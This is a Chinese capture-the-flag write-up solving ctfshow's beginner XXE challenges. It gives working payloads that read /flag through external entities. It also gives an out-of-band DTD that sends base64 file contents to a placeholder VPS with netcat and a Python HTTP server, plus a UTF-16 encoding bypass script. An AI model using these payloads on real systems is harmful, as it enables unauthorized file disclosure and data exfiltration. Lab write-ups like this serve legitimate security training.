ctfshow_web入门_xxe

web373

burpsuite发包,不能用hackbar

[POST]Payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<ctfshow>&xxe;</ctfshow>
</test>

web374/375/376

和web373的区别是没有echo $ctfshow;,即无回显

在vps上创建一个test.dtd文件,用于反弹shell,内容如下:

<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://xxxxx:1234/%file;'> ">
%dtd;
%xxe;

监听1234端口,nc -lvp 1234。由于我的vps是没有开web服务的,开了的直接把test.dtd放在网站根目录下就可以。

另开一个vps的shell,使用python打开http服务:

python3 -m http.server 80

注意:上面的这个命令要在test.dtd文件所在目录下执行。

然后POST发包即可在vps上收到flag的base64值。

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>

web377

过滤了http协议,python脚本 utf-16编码绕过。

import requests

url = 'http://ddca1082-2f62-4f7f-b8b1-e369e33aa168.chall.ctf.show/'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)

和上一题一样,只是由python脚本utf-16编码后发包。

web378

随便提交一个表单,bp抓包。

原来的post内容:

<user><username>123</username><password>123</password></user>

前面加上

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

123改成&xxe;

最后payload:

[POST]Payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>312</password></user>

学习链接